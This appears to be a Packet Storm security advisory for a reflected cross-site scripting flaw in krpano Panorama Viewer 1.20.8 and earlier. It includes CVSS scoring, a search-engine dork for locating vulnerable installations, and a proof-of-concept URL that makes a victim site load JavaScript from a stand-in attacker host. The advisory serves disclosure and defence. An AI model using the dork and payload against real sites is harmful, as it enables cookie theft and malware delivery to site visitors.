

Search ...

Follow us on Twitter

Subscribe to an RSS Feed

Krpano Panorama Viewer 1.20.8 Cross Site Scripting

Authored by [Adriano Marcio Monteiro](#)

Posted Oct 6, 2020

Krpano Panorama Viewer versions 1.20.8 and below suffer from a cross site scripting vulnerability.

tags | [exploit](#), [xss](#)

SHA-256 | 61b7d1777ea0ce74e001bb9d8572c8449ed98e6b6b43fda16fc7aab2e7daf620 [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# Exploit Title: XSS in krpano Panorama Viewer
# Google Dork: inurl:krpano.html
# Date: 10/05/2020
# Exploit Author: Adriano Marcio Monteiro (@adrianomarcmont)
# Exploit Author Site: https://www.brztec.com
# Exploit Author E-mail: adriano@brztec.com
# Exploit Author Packetstorm Bio:
# https://packetstormsecurity.com/files/author/11063/
# Vendor Homepage: https://krpano.com/
# Software Link: https://krpano.com/download/
# Version: <=1.20.8
# Tested on: All
# CVE : Requested
# CVE Severity: Medium
# CVSS Severity: Medium
# CVSS Score: 6.1
# CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
# CVSS Link:
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
```

Disclosure Policy: 90-day deadline has expired and no response from the vendor.

```
*XSS in **krpano Panorama Viewer *
CVSS Severity: "Medium"
CVSS Score: "6.1"
CVSS Vector:
CVSS:3.0/AV:N/AC:L/PR:CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N/N/UI:R/S:C/C:L/I:L/A:N
<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N>
```

Description

krpano Panorama Viewer <=1.20.8 is vulnerable to a Reflected Cross-Site Scripting (XSS) vulnerability caused by improper validation of user supplied input when loading remote js and XML files in the default installation (krpano.html).

Impact

A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked or visited. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials, force malware execution, user redirection and others.

Steps to Reproduce

Exploit example, from documentation tutorials:
http://VICTIM_SITE/krpano.html?html5=only&preview.type=grid()&plugin[test].url=https://ATTACKER_SITE/labs/krpano/krpano.js#plugin[test].align=

Fix

Block remote load of js and XML files. Contact the vendor.

References

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
https://cwe.mitre.org/data/definitions/79.html

Best Regards./Atenciosamente.

Adriano Marcio Monteiro
Offensive Security Specialist
adriano@brztec.com
+55 31 99255-3329 <+55+31+99255-3329>

https://www.brztec.com <https://www.brztec.com/>
Saiba das suas fraquezas antes do hackers.
Know your weaknesses before hackers.
Pentests, Social Engineering, Training and Recruitment.
*BRASIL *contato@brztec.com +55 31 4042-7029 <+55+31+4042-7029>
*U.S.A. *contact@brztec.com +1 480 404-7029 <+1+480+404-7029>

--

Esta mensagem pode conter informação confidencial ou privilegiada de propriedade da BRZTEC Informática, sendo seu sigilo protegido por lei. Se você não for o destinatário ou a pessoa autorizada a receber esta mensagem, não pode usar, copiar ou divulgar as informações nela contidas ou tomar qualquer ação baseada nessas informações. Se você recebeu esta mensagem por engano, por favor, avise imediatamente ao remetente, respondendo o e-mail e em seguida apague-a. Agradecemos sua cooperação.

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files

Ubuntu 68 files

LiquidWorm 23 files

Debian 16 files

malvuln 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 6 files

Julien Ahrens 4 files

T. Weber 4 files

File Tags

ActiveX (932) December 2022
Advisory (79,754) November 2022
Arbitrary (15,694) October 2022
BBS (2,859) September 2022
Bypass (1,619) August 2022
CGI (1,018) July 2022
Code Execution (8,926) June 2022
Conference (673) May 2022
Cracker (840) April 2022
CSRF (3,290) March 2022
DoS (22,602) February 2022
Encryption (2,349) January 2022
Exploit (50,359) Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

Login or Register to add favorites

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other



© 2022 Packet Storm. All rights reserved.

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed